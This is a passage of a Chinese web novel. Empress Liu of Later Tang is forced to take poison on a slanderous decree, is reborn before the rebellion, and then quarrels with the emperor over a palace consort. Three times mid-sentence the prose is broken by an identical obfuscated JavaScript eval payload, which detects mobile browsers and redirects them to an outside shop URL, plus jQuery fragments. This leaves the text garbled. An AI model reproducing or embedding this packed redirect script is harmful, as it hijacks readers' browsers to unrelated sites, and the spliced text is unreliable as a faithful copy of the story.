刘蕙心正色道:“小叔,李巡检也只是按规矩行事。你若是再纠缠下去,可就有失体统了。” 李存渥一噎,盯着嫂子看了片刻,越看就越发觉嫂子神情冷漠。 他这才醒过神来,指着嫂子的鼻子大骂:“刘蕙心,你这是想过河拆桥?!”这女人眼瞧着她自个儿能进城,就不管他的死活了? “还请小叔自重。我只是实话实说,小叔何苦恶语相向?”刘蕙心没有丝毫愧色,更没觉得自己有错。 她就过河拆桥又怎样? 她如今都泥菩萨过江自身难保了,又哪里顾得了旁人? 李存渥若是看到她能进城,就误以为她对李彦超有多大的影响力,那简直就是荒谬绝伦! 她现在哪有什么资格命令李彦超做事? 她若是不分场合地拿腔拿调,李彦超说不准转头就把她撵出城了。 都到这个时候了,她这位六叔要是连这点现实都还看不清,那不是蠢得出奇,就是蠢得要命! 刘蕙心早把利弊权衡得很清楚,不再愿意与李存渥纠缠,转而冲李彦超道:“李巡检,我们进城吧。” “刘蕙心!”李存渥见自家嫂子如此势利薄情,登时气到脸色发青,催马就要朝嫂子冲过去。 李彦超目光里闪过一丝讥诮,立时拔刀出鞘。 城楼下的守兵也立刻齐刷刷将长矛对准李存渥。 见此情形,李存渥只好拉缰绳控住坐骑,但他又实在是不甘心,黑着脸抬手指向刘蕙心,尽显咬牙切齿之态。 众人都以为他要骂出什么极为难听的脏话来。 然而,李存渥痛心疾首地指了刘皇后片刻,嘴唇嗫嚅了好几下,几番要说话之势,却终究是什么重话也没说,只悻悻收回手,掉头打马便走,颇有几分负气伤心之态。 他的几个部下见进不了城,只好也跟着驾马离开。 李彦超瞅了眼骑马远去的申王,接着皮里阳秋地瞥了眼身旁的皇后,心说就申王方才对刘皇后的态度来看,这叔嫂二人怕是不怎么清白。 其余将士虽是没这份敏锐,但却觉得刘皇后抛弃亲友之举实在是令人齿寒。 刘蕙心却没空去管周围人是怎么看她的。 于她而言,眼下最重要的是活下来。 至于什么仁义道德,那实在是太奢侈,不是她现在讲究得起的。 刘蕙心端出悲戚的神色来,半真半假地道:“李巡检,烦请你在城中为我寻一处佛寺。如今官家已去,我只想后半生与青灯古佛为伴,日日为官家诵经积福。” 她这么说纯粹是为了自保,一来能让自己的名声好听点;二来寡妇门前是非多,就算是守寡的皇后(太后)也一样。她这般在公开场合表明自己要当尼姑诵经,也是给自己省去一些不必要的麻烦。 李彦超原本就只打算把这位失了势的皇后当作庙里的泥塑佛像对待——高高供着,给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426914|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足面子,但不让其触碰实事。 如今刘皇后提出的这点要求正好合了他的意,李彦超自然没什么好拒绝的。 于是乎,刘蕙心就这么在太原城中的普光寺里安置下来。 然而,安生日子还没过上一天,次日下午,她就忽听得城中喧嚣震天,恰如宫变那日一样。 刘蕙心暗道不妙,正想要出门探听情况,门却先一步从外推开了。 负责给她送吃食的小沙弥提着食盒跑了进来,慌慌张张的,一副惊魂未定之状。 刘蕙心愈发感觉不妙,忙问道:“外面这是怎么了?” 小沙弥迅速关好门,插上门栓,这才走过来把食盒放到食案上,惊慌不定地道:“听说是永王逃来了咱们太原。他想要进城,城里的将士不许,就闹起来了。现在守兵正在杀人呢!” 刘蕙心大惊失色,“杀谁?他们要杀永王?” “不知道呢。”小沙弥忧心忡忡,“反正现在城里正在杀人,乱得不得了。住持已经锁了寺门,叫我们回房锁门,不要乱跑。” 刘蕙心只觉背脊发寒,脸色也不受控地发白。 昨日,她六叔李存渥来投奔太原,太原虽是不接纳,但也没闹出兵乱来。 今日,她四叔永王也前来投奔太原,太原竟是以兵相抗了? 永王代表的是他们沙陀李唐皇室,太原这群守兵反永王,那就是反皇室! 不过就短短一晚过去,究竟形势又起了什么变化,竟让李彦超这帮太原守兵直接选择站在了朝廷对面! 一个极不好的猜想浮现出心头,刘蕙心不敢再深想,跌跌撞撞地走到屋内的佛龛前。 她拿起佛珠双手合十,自欺欺人地在心里默默祈祷:“佛祖在上,保佑我儿继岌平安返京,顺利平叛……” 当天傍晚,小沙弥又来给她送饭,说起了城中的新情况,“城楼张贴了露布,说是城中的吕监军和郑监仓私下里挑唆永王毒杀咱们的北都留守,想要趁乱霸占我们太原城。” “还好李巡检及时发现了他们的阴谋,将吕监军、郑监仓、永王都诛杀了,这才幸而没有酿成大祸!” 刘蕙心惊心骇神。 吕、郑二人乃是宦官,是朝廷派驻在北都的监军使和监仓使——一个负责监察军队,一个负责监督粮仓和府库。 吕、郑二人到底有没有和永王合谋作乱不好说,可李彦超这群人把代表朝廷的监军使和监仓使都杀了,还把代表朝廷宗室的亲王也杀了,这分明就是谋叛! 正想到这里,外面突然响起了纷乱的脚步声,听着像是许多人聚集在了门外。 刘蕙心缓缓看向了正紧闭着的房门,只觉一股寒意顺着背脊爬上了她的头顶。 “哐!” 房门一下子让人从外踹开了。 门外正中站着一个戎装男人,手按长刀,气势骇人,正是北都巡检——李彦超。 而在他身侧、身后,则是乌泱泱一群士兵,将门外围得严严实实,分明是围堵杀人之势! 刘蕙心脸上血色全无,强自摆出皇后气势来,厉声质问道:“李彦超,你这是做什么?要造反吗你!” 李彦超有些嘲讽地扯了下唇角,兀自按着腰间的佩刀跨进屋来,瞥了眼一旁的小沙弥,“无关人等都退下!” 小沙弥吓得不轻,连忙低着个头疾跑出了屋。 刘蕙心一颗心直往下沉,某种不好的预感疯狂地冲撞她的心神。 李彦超戏谑地看着她,站在门边悠悠侧身往旁边一让。 片刻后,一个老者缓步走进门来,他虽皱纹覆面,却是一点胡须都没有,一看就是宫里的老宦官。 刘蕙心一眼认出了这人:“李枢密!” 此人正是枢密使李绍宏,她丈夫李存勖的心腹内侍。 “殿下。”李绍宏对着她恭恭敬敬地行了一礼。 这样的近臣突然出现在这里,刘蕙心本该期待他是否带来了好消息。 可方才李彦超举止不恭,且率领士兵围堵大门,更别提永王等人还被诛杀了,这一切都让刘蕙心意识到事态极为不妙。 “李枢密,你怎么来了?”刘蕙心向来心思聪慧,到此时其实已经猜到了某种结果。 可她不愿面对这样的残酷事实,自哄自骗般地缓缓问道,“魏王呢?他怎么样了?” 4. 第4章 受诬赐死 李绍宏神色哀戚地看着刘皇后,嘴唇嗫嚅了几下,却始终没说出一个字来。 李彦超看不来这磨磨唧唧的场面,颇为冷酷地抢白道:“魏王已薨(hōng)。” 刘蕙心只觉五雷轰顶。 纵使她早已料到了这样的结果,可从旁人口中听到这等血淋淋的事实,她还是感到难以接受。 “不可能,绝不可能……”刘蕙心几乎站不稳。 她缓缓扭头看向李绍宏,自欺欺人地想从这个近侍口中得到不一样的消息。 李绍宏见她这般模样,愈发于心不忍,垂下眼眸避开她的目光,沉重开口道:“前几日,任尚书率领伐蜀大军回朝,言说,魏王已于渭南……自缢。” 自缢? 怎么可能? 她家继岌竟是还没赶回洛阳就已经死了吗? 刘蕙心只觉心里痛到滴血。 她想放声痛哭,可却发现自己竟是一滴眼泪都流不出来。 原来真正痛到极致,竟是连哭都成了一种奢望! 她家继岌才十八岁啊! 他的人生才刚刚开始! 他才刚拿下了伐蜀大功,手握几万伐蜀精兵,有的是机会翻局,为什么要自杀?! “是你!”刘蕙心蓦地抬手指向李彦超,通红着双眼将手指又移向了围在门口处的一众士兵,“是你们!是你们这群乱臣贼子逼死了魏王!官家好吃好喝地供着你们这些兵,你们不为官家效命也就罢了,为何连官家的骨肉都要逼死啊!” 李绍宏也红了眼眶,低垂着头一言不发。 李彦超却是横眉冷竖,不无讥诮地驳斥道:“是殿下你自己害死了魏王!你不教导魏王亲近贤能,反倒教唆魏王斩杀郭公那样的耿介忠臣,害得魏王人心尽失。魏王会落得自缢渭南的下场,全都是殿下你一手造成的!” 这人口中的“郭公”乃是已被褫夺官爵并被赐死的郭崇韬。 “哈哈哈……”刘蕙心只觉一切都可笑到了极点,禁不住放声大笑起来,“你们这是在为郭崇韬鸣不平了?这借口找得可真好啊!” “你们不敢承认自己逼死了先帝子嗣,就先给我这个妇道人家罗织起罪名来了?你们以为把我说成一个又坏又蠢的毒妇,就能抹杀你们是刽子手的事实吗?” “我一个当娘的怎么可能会害自己的儿子?郭崇韬有不臣之心,屡屡轻视我儿,我若不下令让魏王杀了他,魏王焉有活路?” “荒谬!”李彦超一脸痛心疾首之色,端的是一副正义将领模样,“郭公无罪受戮,夷夏冤之!是以天下谣言四起,遂有邺都之乱,继生洛阳之变!此等道理,只怕连三岁小儿都能想得明白,殿下贵为一国皇后难道还能想不明白吗?!” 她怎么可能会想不明白呢? 当邺都的那群魏博牙兵借着郭崇韬之死而造反时,她就已经知道,自己当初做出处死郭崇韬的决定可谓大错特错。 可她想明白了又有什么用? 后悔了又有什么用? 局势已经糜烂到无法挽回了! 若是时光能够倒流,她决计不会顺着丈夫的心意而下令处死郭崇韬! 可世间安有时光倒流之法? 更何况,她乃堂堂一国皇后,她就算错了也不能认,后悔了也不能说! 底下的臣子更没资格议论她,更遑论当面斥责她! “中宫之事岂容你一个臣子妄加置喙?!”刘蕙心抬手直指李彦超面门,声色俱厉,“李彦超,你别忘了,你现在的姓氏还是我先翁武皇所赐!先令尊乃是武皇养子,真要是论较起来,你也算是我宗室一员!” 刘蕙心口中的“武皇”乃是她那位已经亡故的阿翁,李克用。 她丈夫李存勖称帝后,追封先父李克用为“太祖武皇帝”,故而世人皆尊称李克用为“武皇”。 而她的这位“武皇”先翁最为人津津乐道的事——就是到处收养子,以至于真算起来,朝中半数重臣跟她丈夫不是“养兄弟”关系,就是“养叔侄”关系。 刘蕙心想想就觉得讽刺,“按辈分,你还得喊我一声‘叔母’。如今陛下遭逢内难,你身为臣子,不能捍卫王庭;身为宗室,不能礼待叔母!你不忠不义,有何面目在中宫面前犬吠!” 李彦超理亏不能答,脸色涨红起来,恼羞成怒地扭头提醒:“李枢密,该宣诏了。” 刘蕙心神色一凛,威严质问:“宣什么诏?何方贼子胆敢冒充皇帝下诏!” 李彦超抬手往北行了一礼,脸色流露出几分倨傲,但他很快又想到了皇后骂他的话,脸色又变得悻悻起来,颇有几分别扭地道:“李公嗣源受万民所请,享百官推戴,已于东都行登基大典。” “李嗣源?!”刘蕙心始料未及,但又有种不出此料之感,“他果然还是造反了……” “呵,什么‘百官推戴’?”刘蕙心只觉可笑,“李嗣源不过是武皇养子!” “他除了会弯弓骑马,大字不识一个。文武百官是猪油蒙了心吗,推这么一个目不识丁的武夫当皇帝?!” “李嗣源哪儿来的脸坐这个皇位?他自己都不亏心吗?他还敢对我下诏?他哪儿来的资格?他怎么没脸来跟我当面论道啊!” 李彦超哪里应得下来这番话,只能再次催促道:“李枢密,该宣诏了!” 李绍宏见避无可避,只能无奈展开诏书,艰难地念道:“夫室家理则天下安,门庭肃则社稷清。前皇后刘氏秽乱宫闱,烝淫亲朋,辱先帝之英名,宜速令其自尽,以正宫闱之风,肃皇朝之气。” “哈哈哈哈……”刘蕙心听完诏书,只觉一切都荒谬到恍如笑话,“是我小看李嗣源了。我当他只是个头脑空空的莽夫,没想到他竟还是个爱给人造谣的毒夫!我正位中宫,清清白白,何曾秽乱宫闱?” 李彦超流露出几分鄙夷,悻悻驳了一句:“殿下与申王不清不楚,事实俱明,有何好狡辩?” 刘蕙心一怔,只更觉可笑,怒容斥道:“我与申王有何苟且?有什么事实?你们敢让申王与我当面对质吗?” 虽说她家六叔在出逃第一天对她有些许想法,但之后真是没空生出半分旖旎心思来。只因后来几天,局势愈发不妙,人人都只关心如何能活命。 犹记得,他们刚逃到陕州时,当地的百姓就认出了随行保护他们的大将——李绍荣。 一群百姓立刻持刀拿棍地围堵他们,而李绍荣为了掩护她和申王,独身一人引开数十名百姓,最后生生被这群乱民打断双足活捉。 乱势汹汹,他们哪儿敢多作停留? 人人都拼了命地逃,只想尽快抵达河中,好寻求她四叔——永王李存霸——的庇护。 谁曾想,等到了河中,他们却连永王的影儿都没见着。 却原来,永王也惧祸事临头。 早在他们抵达河中之前,永王就已经剃了头发假扮成僧人,连夜往北逃命去了。 形势危急至此,试问又有谁生得出交欢的心思来? 更别提,追兵日日在后头撵,且随时都可能有百姓认出他们来,试问又有哪个不要命的会在这种生死关头找得出时间和地方来做那档子事儿? 李嗣源下诏说她“烝淫亲朋”,纯粹就是恶意污蔑! * “申王已薨。”李彦超冷酷地道。 刘蕙心一滞,“他死了?” 李彦超不无嘲讽地道:“申王的部下杀了他。殿下与申王苟且之事,申王部下皆知。” 刘蕙心愣怔了片刻,回想起那几日与李存渥一同赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426915|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往太原避难的情形,她这才后知后觉地明白这种苟且谣言源自于哪儿。 她这一路曲意自保,自认为清清白白,可落在那些男人眼里全成了她不守妇道。 不,或许,他们其实也不是不明白她是清白的,只是有些人非要寻她的错处,好名正言顺地杀她而已。 “哈哈哈……”刘蕙心看得很明白,愈发觉得这世道真是荒谬可笑,“李嗣源这个懦夫!他是想要杀我以平众怒,还是怕我会报复他啊?” “我一个女人,丈夫没了,儿子没了,如今还要替你们这群乱臣贼子背负起乱国之罪吗?!” “亏李嗣源还想坐稳皇位,他连我一个寡妇都容不下,就这么点心胸还当什么皇帝!” 这话李彦超哪里敢应,只能扭头朝李绍宏使眼色。 李绍宏暗暗叹气,无奈朝外打了个手势。 很快,一个小宦官端着个木托盘疾步走了进来。 木托盘上放了一尺白绫、一壶鸩酒、一个酒杯。 这是“赏”刘皇后一个全尸,任凭她自己选择上吊气绝还是饮鸩而死。 “哈哈哈……”刘蕙心愈发觉得可笑。她这个大唐皇后当了还不到两年,居然就要被一个家贼以污名赐死。 李彦超见这位前朝皇后迟迟不自裁,板着脸便要上前“协助”皇后上路。 李绍宏见状,连忙抬手相拦。 李彦超不敢对这位中贵人无礼,很忍耐地提醒道:“李枢密,时辰耗不起!” 不是耗不起,是怕迟则生变。 自古赐死紧要人物,都是越速越好,省得旁生枝节。 李绍宏宦海沉浮几十载,又岂会不懂这个道理? 可他是先帝李存勖的家臣,先帝待他不薄。 纵使刘皇后触犯众怒,他又岂能眼睁睁地看着一个武将“送”先帝的皇后上路? 眼下自裁之事已无法再拖,李绍宏无奈低叹,缓步走到刘皇后面前,接着双膝跪地,哽咽高呼:“老臣——恭送皇后上路!” 话落,李绍宏以头触地,行了一个大礼。 这既是催促刘皇后赶紧自裁,也是他作为一个老家臣能给前主母的最后一点体面。 刘蕙心又如何看不懂李绍宏的这些意思? 她嘲讽地笑了笑,不知是在笑这世道可笑,还是在笑她自己可笑。 她缓缓朝托盘伸出手,自己给自己倒了杯鸩酒。 白绫上吊太难看了,还是饮鸩毒发来得稍微体面点。 端起酒杯的那一瞬,她这一生所有荣耀的时刻走马观花般地在脑海中浮现。 叫她如何甘心啊? 差一点,她就可以成为千古垂名的大唐中兴之后。 可到头来,她竟要背上“秽乱”污名而死! 刘蕙心恨恨地看向李彦超,“你们这群乱臣贼子,我诅咒你们自相戕害,遗臭万年!” 话落,她将酒杯送到嘴边,决绝一仰头,将鸩酒一饮而尽。 千秋霸业,终成泡影一场! 欲高翥九天,却诬名加身,饮恨落黄泉! * 后世史载: 同光四年,庄宗皇后刘氏携金遁走太原,途与申王存渥通。明宗恶其秽,迫令自裁。及晋高祖即位,始追谥为神闵敬皇后。 论曰: 彼庄宗受难,明宗即入洛自为监国,弃庄宗嫡长子魏王于不顾。魏王虽自缢于渭南,岂非实为明宗所迫?皮之不存,毛将焉附?彼魏王既薨,刘皇后焉得万全?所谓以秽赐死,盖实为谮毁。 明宗既殂,其子为假子所覆,假子又为明宗之婿石敬瑭所覆。敬瑭为求帝位,以燕云十六州拱手赠契丹。夫内室操戈,毁家害国,岂不正应刘皇后之所谶?斯诚可悲,亦复可讥! 5. 第5章刘后还阳 “殿下,殿下……” 刘蕙心深陷一片黑暗中,却忽而听到有人唤她。 “殿下,陛下看你来了……” 三郎来接她了? 那继岌呢? 也来接她了吗? 他们一家人要在阴曹地府相会了? “哎哟,我的殿下喂,你这到底是在装睡还是真睡过去了呀?你倒是应妾一声啊……” 到底谁在说话? 难道到了地府还有宫女在等着伺候她? 刘蕙心心里直犯嘀咕,挣扎着睁开了眼。 黑暗褪去,光明再临。 一张女人的脸蓦然映入她的眼帘。 这人约莫四十岁左右,看着十分面熟。 刘蕙心恍惚了片刻,这才不可置信地认出来: 此人正是她的掌事宫女——崔有琳。 崔有琳不早在宫变的时候跟她走散了吗? 怎么现在又来她跟前了? 刘蕙心惊疑不定,在榻上撑坐起来,转头往四周一看,却发现自己此时竟身在自己的寝殿之中。 寝殿奢华整洁,一如当初还没惨遭洗劫的样子。 殿内角落里,几个上了年纪的宫女垂首站着,规规矩矩地等候她差遣。 一切的一切,都仿若还没宫变前的样子。 一个诡异的猜想不禁爬上刘蕙心心头—— 难道她还阳了? 而且还阳在了还没发生叛乱之时? 刘蕙心不由得一阵狂喜,但又生怕眼下只是幻觉一场。 她当即一把抓住崔有琳,近乎魔怔地问道:“你们是人是鬼?我这到底是在哪儿?现在到底是什么年月?” 崔有琳惊得哆嗦了一下,但紧接着就不知道想到了些什么,竟对着她会心一笑,露出一副“皇后,我懂你”的表情。 刘蕙心隐隐觉得不对劲。 还没等她琢磨出这股不对劲儿到底是怎么回事,就见—— 眼前这位老掌事就跟唱大戏似的,忽地脸一皱,嗓一开,矫揉造作地呼天抢地起来:“皇后啊,我可怜的皇后啊,你这是怎么了呀?这里是你的寝殿啊!你怎么就认不出了呀?” “妾是大活人,是你的掌事崔有琳啊,你不认得妾了吗?如今是同光三年,正是陛下大展武功之时。” “腊月初一那天,魏王还发来捷报,说已经把蜀国打下来了。皇后啊,难道你连这些都不记得了吗?” 这场面直叫刘蕙心一愣一愣的。 她家掌事为何突然这般造作? 及至听完崔掌事的话,刘蕙心不由得惊骇失色,哪儿还顾得上理会崔掌事的奇怪之处。 “我儿已把蜀国打下来了?!”她禁不住惊呼。 * 上辈子,就是在她家继岌打下蜀国不久后,她就秘密下达了处死郭崇韬的命令! 彼时,她家继岌虽贵为伐蜀的三军统帅,可真正负责征伐调度的却是招讨使郭崇韬。 这样的安排源于她家继岌还太过年幼——才刚满十八岁,又是第一次上战场。 按照前朝惯例,亲王可挂帅出征,同时安排一员宿将总领其事,助其成就威望。 换句话说,亲王就是打着元帅的名头来拿军功的,真正出力的是底下的宿将。 一切顺利的话,亲王一战就可拿下赫赫军功,威望大振。 就如她儿继岌这般,一战便拿下了收复巴蜀这样的大功,威望非凡。 这本来该是一段亲王与宿将互相成就的千古佳话。 然而,上辈子,在蜀国上表投降归附朝廷之后,郭崇韬功高盖主,气焰嚣张,对他家继岌甚是轻慢。 当世骄兵悍将难治。 多的是实力一强就叛主夺权的骄将。 郭崇韬才刚降服巴蜀就露出此等不臣之态。 她与三郎都不免心生疑惧——担心郭崇韬会如寻常骄将那般,自诩大功在身就割据一方。 而彼时继岌还身在巴蜀,看似位高权重,实则不一定能号令得动麾下大军。 一旦郭崇韬真生出割据之心,继岌危矣! 她为此日夜忧心,寝食难安;三郎也同样如此。 后来,三郎要派宦官马彦圭出使巴蜀。 她知道三郎此举意在寻机杀了郭崇韬,所以顺水推舟,替三郎担了这杀人骂名——她以皇后名义下教令给马彦圭,命他一抵达巴蜀就秘密通知继岌处死郭崇韬。 可谁能想得到,郭崇韬死后竟生出一系列的变故,以至于河朔之地谣言四起,最后竟演变成了足以动摇王朝的叛乱! 倘若郭崇韬不死,后续或许就不会发生那么多的事,形势或许就不会失控。 这种想法在刘蕙心脑海里盘桓已久。 上辈子,她悔之莫及。 这辈子,既然有机会力挽狂澜,她又怎可坐视郭崇韬被处死? * 犹记得,上辈子,马彦圭是在年底出使巴蜀的。 她也正是在那个时候向马彦圭传达了诛杀密令。 眼下已到腊月,也不知道马彦圭是不是已经带着密令出发了。 刘蕙心眼皮直跳,当即就要向崔掌事询问马彦圭的动向。 可她话还没出口,崔有琳就弯腰站在榻前,夸张地假哭地道:“魏王如此勇武有功,还不都是殿下你教导有方?” “如今正该是殿下开怀之时,可殿下你怎么突然什么都不记得了呀?” “我苦命的殿下啊……” “够了,给我闭嘴!” 这一声厉呵并非出自刘蕙心之口,而是出自外殿。 这声音如此熟悉,以至于刚听到第一个字时,刘蕙心就蓦地滞在了当场。 这是她家三郎在说话! 可三郎此刻怎么会在她的寝宫外殿? 巨大的惊喜与强烈的困惑同时席卷心头,刘蕙心感觉脑袋都快转不动了。 她下意识看向了自己的掌事宫女,想从崔有琳那儿得知如今到底是个什么情况。 却在这时,身着赤黄圆领袍衫的帝王怒气冲冲地走进了内殿。 崔有琳哪儿还来得及跟皇后说话,立时变得跟个鹌鹑似的,低头叉手行礼:“陛下。” 殿内其他宫人也纷纷行礼。 刘蕙心却只愣愣地坐在榻上。 上辈子,丈夫的死状还犹在眼前; 这辈子,丈夫就冷不防这般活生生地出现在她面前。 这位年已四十一岁的大唐帝王依旧风采 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17426916|200879||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照人,十多年的征伐生涯让他浸染了凛然不可侵犯之势,更别提如今怒意上脸,整个人愈发威严可惧,锐利如开封之刃。 一时间,丈夫前世今生的模样重叠在了一起——狼狈如斯,英武如斯;凋败如斯,鲜活如斯! 面对这样的场面,刘蕙心整个人都像傻掉了一般,愣在原地,几乎都忘了该如何反应。 “殿下……”崔有琳见自家皇后都不搭理皇帝,急得小声提醒。先前不都说好了这回要好好哄陛下的嘛,皇后怎么在这个时候犯倔了呢? “都给朕退下!”李存勖看到崔掌事在跟他家皇后打眼色,就糟心得不行。 虽说皇帝可自称“朕”,但除却在祭祀、下诏等重大场合会这般自称,当世皇帝在日常中通常都自称“我”。 不过,若是遇上情绪起伏或是强调身份的情况,皇帝也会忍不住自称“朕”,所以多的是一番话里出现“朕”、“我”混称的情形。 眼下,威严帝王忽而以“朕”相称,这怒气波动可想而知。 崔有琳哪还敢耍小聪明,只能缩着肩怂怂地往外退,悄悄摸摸地回给皇后一个眼神:「千万别犯倔啊,殿下!」 可惜,她家皇后殿下正发着愣,压根儿就没接收到她的忧心提示。 内殿之中,很快就只剩下了帝后二人。 李存勖气得不轻,背着双手在榻前来回踱了两趟,这才弯腰看向榻上的皇后,抬手隔空点了点皇后的鼻子,“你还有脸跟我装可怜?” “一大早的,你就派崔有琳来我那儿,说什么你忽染重疾,下不来榻。你当我是傻子吗,能被你这拙劣伎俩骗?” “我不过是看在明天就是除夕了,想好生过个年,这才给你个台阶下——专程来看你!结果你干了什么?” “你跟崔有琳合起伙来演戏,大清早的在那儿哭哭喊喊,装疯卖傻,合着像是我做了什么伤天害理的事一样!” 刘蕙心脑子嗡嗡直响,都不知道丈夫现在为了什么事在跟她吵架。 她本来还焦急于确认马彦圭的动向,可现在听丈夫这么一通指责,上辈子的那些惨痛经历一下子全在脑海里又浮现了一遍。 知晓丈夫中箭气绝时的绝望与痛苦,得知儿子自缢时的悲痛与无望,知道自己受污赐死时的委屈与愤恨,种种滋味齐齐涌上心头,再叠加上如今被丈夫怒斥的憋屈与不解,刘蕙心悲不自胜,蓦地流出泪来。 “你……”李存勖没料到皇后会真哭,一时间骂也骂不下去了,气也气不起来了。 他无可奈何地指了指皇后,“你还有脸哭?你怎么不想想自己都做了些什么?” 刘蕙心难过得不行,没好气地哭着回怼:“我做错了什么?我到底有什么对不起你的?” “你……”李存勖对上皇后这泪眼婆娑的样子,真是有十分怒气也被盖住了九分,一时间都显出几分妻严不敢违的窝囊劲儿来了,“跟朕装傻呢?半个月前……” 李存勖说到这儿忽地住了口,神色难堪起来,一副欲言又止的样子。 刘蕙心顿觉大事不妙。 虽然她仍旧一头雾水,但却本能地生出一种想要掐断话头的冲动。 然而,李存勖在纠结挣扎数息后,已经愤愤然又开了口—— 6. 第6章 天子受屈 “半个月前,我可怜李绍荣刚死了发妻,就问他还准不准备续娶,我来给他出聘钱。” “结果你……你当场就拿话逼我!” “你明知陈姬是我的爱姬,却还当着李绍荣的面说,我既然怜惜李绍荣,不如就把陈姬赐给他当续弦。” “我当时不好驳你,只能勉强应下。哪知道你——打蛇上棍,居然立马就叫李绍荣谢恩,当场就要把这事儿给坐实了。” “你还转头就让人把陈姬抬出了宫。李绍荣当天都还没出宫呢,陈姬就已经直送他府上去了!你动作怎么就这么快呢,刘一娘?” “陈姬是我的人,我赐婚的诏书都还没开始让翰林写呢,你怎么就这么把人给许出去了?” 李存勖提起这事儿就觉得自己窝囊得不行,有谁当皇帝当成他这样的?连自己的宠姬都守不住,竟让皇后打发去给大臣当续弦! 他为此怄得连饭都吃不下去,连着几天都装病不见皇后。 结果今早皇后装病来邀他,他还以为皇后是悔过了。 再加上年关将近,他也不想大过年的闹得太难看,所以才巴巴地跑来集仙殿,就等着皇后跟他认错和好。 哪曾想,皇后非但不觉得有错,反而还自觉委屈得不行,竟和崔有琳在那儿一唱一和地跟他装疯卖惨,气得他不行! 他这哪儿是来享受皇后道歉说好话的呀?他这分明是来给自己找罪受了! 刘蕙心这才明白发生了什么事,立时也气得不轻。 她现如今还没练就出多少大局观来,碰到眼下这种情况,她哪儿懂得什么息事宁人,优先查证马彦圭的动向? 于她而言,当务之急是捍卫她的皇后地位! “原来是这事儿啊!”刘蕙心脸上犹挂着眼泪,可神色却已愤愤起来。 她阴阳怪气地揶揄道,“亏我还以为皇帝陛下是为了什么国家大事跟我又急又闹呢,结果不过是为了区区一个宫人?呵,我乃中宫之主,处置个宫人又怎么了?需得着陛下这般审讯敲打?” 李存勖七窍生烟,此妇真是嚣张过甚! 依照礼法,包括皇后在内的所有后宫嫔御都应该向皇帝称“妾”。 也就只有这个混帐刘一娘敢在他面前“我”来“我”去的,没大没小,简直可恶至极! 李存勖生出一种被人狠狠欺负的窝囊感,愤愤驳斥:“陈姬那是一般的宫人吗?” 刘蕙心火冒三丈。 上辈子,她就为了这事儿跟李存勖吵了好大一架。 这辈子,旧事重提,再交织上她前世刚刚丧夫丧子又被赐死的怨愤委屈,她现如今的怒气比上辈子更盛。 刘蕙心战意盎然地又吵了起来,用词甚至比上辈子更歹毒:“她要不是一般的宫人,那你怎么不册封她为妃啊?她若是你的什么爱妃,我才不敢把她许出去呢!” 李存勖肝火大动,“要不是怕你闹起来太难看,我会不册封陈姬吗?她都替我生下皇子了,就算没名分,那也有实实在在的君妾关系,你怎么就敢把她给许出去了?!” “我就许出去了又怎样?”刘蕙心怒火直烧,句句都往丈夫心窝子上戳,“人家跟着李绍荣可是当使相娘子,跟着你不过就当个没名没分的宫女!你去问问陈姬,说不定她还感谢我给她赐婚呢!” “你!”李存勖气结,手掌一扬,真想一巴掌拍死这个强词夺理的混账皇后。 刘蕙心把脸一仰,心里的怒与怨都逼向了顶峰,说话愈发肆无忌惮,专程往丈夫的痛处戳,“打呀,有本事你打呀!为了个宫女打自己的皇后,你好威风、好有理啊,李三郎!” “自打你入主洛阳以来,底下变着花儿地往宫中塞女郎,美其名曰:‘宫中须宫女充盈能驱散前朝鬼气’。” “我呸!一群臣子干起了牙婆的勾当,连这种鬼话都能想得出来,一点脸都不要了!” “你一个当皇帝的人难不成还真信了这些鬼话——当自己是全天下的头号大恩客,对着一群娘子挑花了眼儿啊?” “你……”李存勖气结,扬着巴掌的手转而改为指向自家皇后,“堂堂皇后,怎能说话如此龌龊?!”竟敢把他堂堂大唐皇帝比作王朝第一大嫖客,这像话吗?刘一娘怎能如此粗鄙?! “原来陛下还知道这叫‘龌龊’啊?”刘蕙心尖酸刻薄地冷笑着嘲讽,“那陈姬不过就是他们强塞进宫来的可怜女郎之一,你厚起脸皮向人家小女郎下手的时候怎么不想想自己有多龌龊?” “你……放肆!”李存勖怒火中烧,指向皇后的那只手都气得直抖,“朕乃天子,宠幸宫人天经地义!”他哪儿「龌龊」了?刘一娘这个满口胡言的混账! “天经地义?”刘蕙心讥嘲地笑了一声,“你一个都能当阿翁的人了,居然还跟陈姬一个十八九岁的小娘子生出个儿子来,你觉得这叫「天经地义」?” “你都一点不害臊的吗,李三郎?你那儿子现在才一岁,给咱们继岌当儿子都绰绰有余!知道的人明白你这是‘老蚌孵新珠’,不知道的人还以为那是你孙子呢!” 